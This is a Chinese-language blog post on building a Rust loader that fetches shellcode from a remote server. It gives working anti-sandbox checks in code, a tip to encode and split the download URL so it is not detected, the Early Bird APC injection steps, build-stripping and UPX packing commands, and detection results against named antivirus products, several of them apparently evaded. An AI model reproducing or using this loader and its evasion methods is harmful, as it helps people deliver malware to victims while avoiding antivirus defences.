Rust远程加载shellcode

学习rust, 练习写一个loader, 不足之处还请指教

编写

隐藏黑框

在注释掉所有打印语句后编译运行还是会弹黑框, 解决方法是头部添加一行（指定 Rust 编译器生成的可执行文件为 Windows 子系统应用程序，而不是控制台应用程序）:

#![windows_subsystem = "windows"]

‍

反沙箱

流速检测

pub fn ft() {

    use std::time::{Duration, Instant};

    use std::thread::sleep;

    let start_time = Instant::now();

    sleep(Duration::from_millis(5000));

    let elapsed_time = start_time.elapsed();

    if elapsed_time.as_millis() < 5000 {

        std::process::exit(1);

    }

}

检查进程数

pub fn pc() {

    let mut system = System::new_all();

    system.refresh_all();

    let process_count = system.processes().len();

    if process_count <= 50 {

        std::process::exit(1);

    }

}

‍

网络请求

使用轻量级的HTTP库ureq, 示例如下：

use ureq;

fn main() {

    let response = ureq::get("https://example.com/file.zip")

        .call()

        .expect("Failed to make request");

    if response.status() == 200 {

        let content = response.into_string().expect("Failed to read response");

        println!("Downloaded file: {}", content);

    } else {

        eprintln!("Failed to download file, status code: {}", response.status());

    }

}

不要直接硬编码url在代码中，然后就用管用伎俩简单编码一下，但是一整个解码使用居然不成，问gpt说可能产生了不可见字符

拆成protocol，host, port, pattern后解码组合就可以正常读取了， DIE中也没有检出（这个patcher还是要处理一下）

‍

加载shellcode

这里我没有对shellcode进行任何处理, 获取之后直接使用Early Bird进行注入, 简述一下过程:

使用 CreateProcessA 创建一个进程。
使用 VirtualAllocEx 在目标进程中分配远程内存。
使用 WriteProcessMemory 将 SHELLCODE 复制到已分配的内存中。
使用 VirtualProtectEx 更改内存权限为可执行。
使用 QueueUserAPC 执行进程。
使用 ResumeThread 恢复进程的线程。
使用 CloseHandle 关闭已打开的句柄。

对于错误处理一律退出不使用panic, 可以在代码中细看。

编译优化

为了缩小体积, 在_config.yml中添加

[profile.release]

# 设置为1个块最大化优化，但时间会更长

codegen-units = 1

# 设置为s时，编译器会优先考虑生成最小的二进制文件大小，同时保持合理的性能

opt-level = "s"

# 链接时优化，可以显著减小二进制文件的大小，并提高性能

lto = true

# 禁止符号表和调试

debug = false

# 剥离调试信息

strip = true

# 崩溃时不希望看到调试信息

panic = "abort"

另外使用压缩库miniz_oxide，添加上依赖：

[dependencies]

miniz_oxide = "0.5"

最后使用release 通用发布：

cargo build --release

使用cargo-strip在构建后剥离二进制文件中的调试信息和其他不必要的数据。

cargo install cargo-strip

cargo strip -t target/release/RustLoader.exe

此时大小基本为1.5MB, 也可以继续upx压缩(patcher要注意处理一下)，之后按需加资源

upx -9 --best --force target/release/RustLoader.exe

‍

免杀效果

添加反沙箱后, 无法在虚拟机中测试, 以下测试均使用直接生成的产物(不使用upx, upx-patcher, 反沙箱), 截止测试之时:

微步检出率为1/28

火绒

腾讯电脑管家

360

defender

‍

如果觉得可以欢迎star一起交流~ ：传送门

‍